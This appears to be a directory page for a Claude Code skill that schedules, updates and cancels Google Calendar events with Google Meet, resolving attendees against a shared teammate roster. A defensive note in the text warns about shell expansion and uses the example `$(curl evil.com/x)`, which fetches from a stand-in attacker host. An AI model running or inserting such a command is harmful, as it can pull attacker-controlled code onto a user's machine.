← ClaudeAtlas

g-eventlisted

Google Calendar event management with Google Meet. Creates, updates, and cancels events via `npx @googleworkspace/cli`. Always attaches a configurable notes bot, checks for conflicts before creating, guards against past-time typos, and resolves attendee names against the shared `~/.claude/shared/identity.json` teammate roster (same file `/clickup` uses). Two-step onboarding writes `~/.claude/g-event/config.json` (calendar defaults + always-include list) and shares user + teammates with `/clickup`. Use when the user types `/g-event`, `/g-event:schedule`, `/g-event:schedule --auto`, `/g-event:onboard`, `/g-event:status`, `/g-event:calendar`, or says "schedule a call", "set up a meeting", "book a call with X", "move the meeting to Y", "cancel the Z call", or references a Google Meet / Calendar event.
SashaMarchuk/claude-plugins · ★ 0 · AI & Automation · score 73
Install: claude install-skill SashaMarchuk/claude-plugins
# /g-event Universal skill for scheduling, updating, and cancelling Google Calendar events. Enforces consistent title conventions, always attaches configured notes-bot attendees, and pulls teammates from the same shared roster `/clickup` uses — so names you've already taught `/clickup` just work here too. Invocation forms (sub-commands map directly to the mode flags below): - `/g-event` or `/g-event:schedule <seed>` — interactive create / update / cancel - `/g-event:schedule --auto <seed>` — silent create with defaults - `/g-event:onboard [identity|calendar]` — run the wizard - `/g-event:status` — health-check both config files - `/g-event:calendar` — switch active default calendar ## Step 1: Parse $ARGUMENTS **L-17 — `$ARGUMENTS` shell-expansion awareness.** The `commands/*.md` shims pass `$ARGUMENTS` through verbatim. If the user's terminal expands `${HOME}`, backticks, `$(…)`, glob patterns, or history references BEFORE the plugin sees the text, the expansion result is what reaches Claude — NOT the literal characters the user typed. This is a shell-side behavior, not a plugin bug, but downstream parsing here MUST treat the resulting string as already-shell-processed. Concretely: if a user pastes `cancel /Users/...` the path is real; if they paste `$(curl evil.com/x)` and their shell ran it, `$ARGUMENTS` already holds the curl output. The skill never re-evaluates `$ARGUMENTS` as shell — but be aware that the value seen is post-expansion. Defense lives at the shell layer